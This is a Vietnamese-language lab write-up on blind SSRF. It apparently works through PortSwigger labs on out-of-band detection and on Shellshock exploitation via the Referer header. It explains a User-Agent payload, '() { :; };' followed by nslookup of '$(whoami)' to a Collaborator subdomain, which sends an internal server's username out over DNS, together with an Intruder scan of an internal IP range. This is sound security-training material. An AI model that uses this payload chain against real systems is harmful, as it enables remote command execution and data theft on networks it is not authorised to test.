Xảy ra khi ứng dụng có thể gửi back-end request dựa trên URL mà người dùng cung cấp nhưng không trả về response cho front-end của ứng dụng.
What is the Impact of Blind SSRF Vulnerabilities?
Do không thể truy xuất dữ liệu nhạy cảm từ back-end, nó ít gây thiệt hại hơn so với lỗ hổng SSRF thông thường. Mặc dù vậy, trong một số trường hợp, attacker có thể khai thác lỗ hổng SSRF để thực hiện RCE.
How to Find and Exploit Blind SSRF Vulnerabilities
Để phát hiện lỗ hổng blind SSRF, có thể sử dụng các kỹ thuật out-of-band (OAST) chẳng hạn như trigger các HTTP request đến các hệ thống bên ngoài mà ta kiểm soát.
Tuy nhiên, việc phát hiện ra lỗ hổng blind SSRF mà có thể trigger các out-of-band request không đồng nghĩa với việc ứng dụng có thể bị khai thác do chúng ta không thể xem được response của các back-end request. Tuy nhiên, nó có thể được dùng để phát hiện các lỗ hổng khác trên server hoặc các hệ thống back-end trong mạng nội bộ.
Lab: Blind SSRF with Out-of-band Detection
Mô tả lab:
Có một phần mềm phân tích dữ liệu gửi request đến URL được cung cấp ở trong header Referer sau khi một sản phẩm được load.
Mục tiêu là gây ra HTTP request đến server của Collaborator.
Request xem chi tiết thông tin sản phẩm sau khi truy cập trang chủ:
Sửa header Referer lại thành server của Collaborator:
Gửi request thì ta thấy một vài DNS lookup và HTTP request gửi đến Collaborator.
Lab: Blind SSRF with Shellshock Exploitation
Mô tả lab:
Có một phần mềm phân tích dữ liệu gửi request đến URL được cung cấp ở trong header Referer sau khi một sản phẩm được load.
Mục tiêu là truy xuất tên người dùng của một server nội bộ có IP trong khoảng 192.168.0.X và port là 8080 sử dụng Shellshock payload.
Tip
Có thể sử dụng extension “Collaborator Everywhere” để phát hiện lỗ hổng SSRF ở trong các header.
Thử thay đổi giá trị của header Referer thành URL của Collaborator:
Request gửi đến Collaborator:
Request có header User-Agent cho biết nó có thể được lưu ở trong web server dưới dạng biến môi trường và được gửi đến URL ở trong Referer.
Xây dựng Shellshock payload truyền vào header User-Agent như sau:
Giải thích payload trên:
() { :; }; là chuỗi giúp triển khai Shellshock attack.
/usr/bin/nslookup giúp thực hiện DNS query.
$(whoami).BURP_COLLABORATOR_SUBDOMAIN: nội suy giá trị của tên người dùng và dùng nó như là subdomain của BURP_COLLABORATOR_SUBDOMAIN.
Note
Cần thực thi payload trên ở một server nội bộ chứ không phải ứng dụng có lỗ hổng SSRF.
Để chuyển tiếp giá trị của User-Agent cho server nội bộ, ta sẽ khai thác lỗ hổng SSRF của ứng dụng thông qua header Referer. Cụ thể, giá trị của header Referer sẽ là địa chỉ địa chỉ IP và port của server nội bộ.
Sử dụng Intruder để lặp qua khoảng IP 192.168.0.X:
Payload sử dụng có kiểu là “Numbers” và chạy từ 0 đến 255.
Có một DNS query gửi đến Collaborator như sau:
Tên người dùng nằm trong phần subdomain: peter-210ohh.